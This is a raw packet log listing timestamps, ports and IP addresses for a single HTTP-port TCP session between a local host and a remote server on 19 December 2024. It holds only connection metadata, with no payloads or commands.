Dec 19, 2024 08:21:27.345402956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.345518112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.345565081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.346149921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.346229076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.346528053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.347011089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.347088099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.347121954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.357688904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.357724905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.357762098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.357956886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.358056068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.358092070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.358679056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.358807087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.358900070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.359400988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.359554052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.359595060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.360254049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.360312939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.360377073 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.361152887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.361233950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.361272097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.361699104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.361764908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.363167048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.398458958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.398613930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.398663998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.398825884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.399059057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.399152040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.400347948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.400496960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.400659084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.402113914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.402277946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.402314901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.402960062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.403004885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.403038979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.403445959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.403568029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.403599977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.405468941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.405684948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.406161070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.406199932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.406243086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.406274080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.406569004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.406640053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.407157898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.407157898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.407215118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.407618046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.407653093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.407655954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.407687902 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.408171892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.408238888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.408271074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.408685923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.408746958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.408972025 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.409085035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.409146070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.409174919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.409742117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.409797907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.410370111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.410403967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.410474062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.410507917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.410917997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.410993099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.411145926 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.411590099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.411685944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.412283897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.412327051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.412353039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.412385941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.413044930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.413156033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.413395882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.413798094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.413882017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.413918972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.414566994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.414694071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.414726019 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.415477037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.415555954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.415590048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.416210890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.416332960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.416400909 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.416971922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.417098045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.417840004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.417885065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.417968035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.418001890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.418665886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.418777943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.419153929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.419409037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.419531107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.419578075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.420103073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.420253992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.420321941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.421895027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.422009945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.422022104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.422034025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.422066927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.422785997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.422800064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.422852993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.423268080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.423382998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.423414946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.424230099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.466382980 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.491942883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.492026091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.492304087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.492331982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.492394924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.493221045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.493268967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.493275881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.493309021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.493917942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.501926899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.501940012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.501952887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.501966000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.502027988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.502058029 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.502181053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.502285957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.502322912 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.503002882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.503043890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.534940004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.534991026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.535118103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.535131931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.535188913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.535229921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.535810947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.535880089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.535913944 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.536583900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.536654949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.537331104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.537373066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.537434101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.537465096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.538141012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.538243055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.539042950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.539076090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.539108038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.539150953 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.539673090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.549316883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.549369097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.549515009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.549724102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.549782991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.549798012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.550302982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.550344944 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.550395966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.551125050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.551171064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.551178932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.551897049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.551938057 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.552030087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.552690983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.552794933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.552927971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.553509951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.553556919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.553569078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.590630054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.590723038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.590737104 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.590958118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.591017008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.591058969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.591737986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.591792107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.591939926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.592523098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.592595100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.592659950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.593364000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.593410969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.593461990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.594082117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.594167948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.594206095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.594893932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.594964981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.595052004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.595896959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.595962048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.595994949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.596508980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.596544027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.596575022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.597297907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.597337961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.597393036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.598104954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.598148108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.598227978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.598906994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.598948002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.598956108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.599622011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.599680901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.599711895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.600445032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.600508928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.600518942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.601233006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.601303101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.601329088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.602152109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.602226973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.602288961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.602941036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.602988005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.602988958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.603590965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.603629112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.603703976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.604358912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.604403973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.604471922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.605192900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.605257988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.605274916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.605973005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.606034040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.606064081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.606785059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.606826067 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.606885910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.608138084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.608213902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.608258963 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.608344078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.608381033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.608457088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.609138966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.609302044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.609343052 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.609915018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.609954119 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.610033989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.610699892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.610784054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.610826969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.611527920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.611668110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.611712933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.612288952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.612340927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.612392902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.613089085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.613203049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.613260984 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.613858938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.613909006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.613977909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.614649057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.614751101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.614803076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.615436077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.615597963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.615645885 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.616188049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.616235018 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.684005022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.684098005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.684351921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.684366941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.684545994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.684590101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.685163975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.685281992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.685973883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.686033964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.693589926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.693677902 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.693708897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.694050074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.694096088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.694184065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.694796085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.694912910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.694962025 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.695554018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.696569920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.727164030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.727246046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.727380991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.727566004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.727648973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.727732897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.728329897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.728465080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.729182005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.729235888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.729263067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.729305029 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.730031967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.730165005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.730711937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.730758905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.730799913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.730842113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.731494904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.731529951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.731580973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.741770029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.741915941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.741993904 CET	49720	80	192.168.2.10	194.87.47.113
